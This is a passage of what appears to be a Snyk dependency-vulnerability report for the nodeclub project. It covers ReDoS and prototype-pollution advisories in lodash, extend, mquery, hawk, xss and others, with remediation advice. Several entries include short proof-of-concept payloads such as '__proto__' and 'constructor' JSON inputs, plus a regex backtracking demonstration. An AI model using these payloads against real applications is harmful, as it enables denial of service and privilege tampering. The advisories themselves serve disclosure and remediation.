From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver
to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset
function in index.js
, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value
to version 2.0.1 or higher.
References
high severity
- Vulnerable module: xss
- Introduced through: xss@0.2.10
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › xss@0.2.10Remediation: Upgrade to xss@1.0.10.
Overview
xss is a package that sanitizes untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the stripCommentTag
function in lib/default.js
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade xss
to version 1.0.10 or higher.
References
high severity
- Vulnerable module: hawk
- Introduced through: request@2.74.0, jpush-sdk@3.3.2 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3Remediation: Upgrade to request@2.87.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3Remediation: Upgrade to loader-builder@2.7.0.
Overview
hawk is a library for the HTTP Hawk Authentication Scheme.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hawk
to version 9.0.1 or higher.
References
high severity
- Vulnerable module: extend
- Introduced through: superagent@1.8.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › extend@3.0.0Remediation: Upgrade to superagent@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › extend@3.0.0Remediation: Upgrade to superagent@2.0.0.
Overview
extend is a port of the classic extend() method from jQuery.
Affected versions of this package are vulnerable to Prototype Pollution. Utilities function can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade extend
to version 2.0.2, 3.0.2 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.12.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
using a constructor
payload.
PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
For more information, check out our blog post
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.12 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.17.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the set
and setwith
functions due to improper user input sanitization.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.17 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.11.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge
, mergeWith
, and defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
. This is due to an incomplete fix to CVE-2018-3721
.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
high severity
- Vulnerable module: mquery
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mquery@1.10.0Remediation: Upgrade to mongoose@5.11.7.
Overview
mquery is an Expressive query building for MongoDB
Affected versions of this package are vulnerable to Prototype Pollution via the merge
function within lib/utils.js
. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.
PoC
require('./env').getCollection(function(err, collection) {
assert.ifError(err);
col = collection;
done();
});
var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
var m = mquery(payload);
console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mquery
to version 3.2.3 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
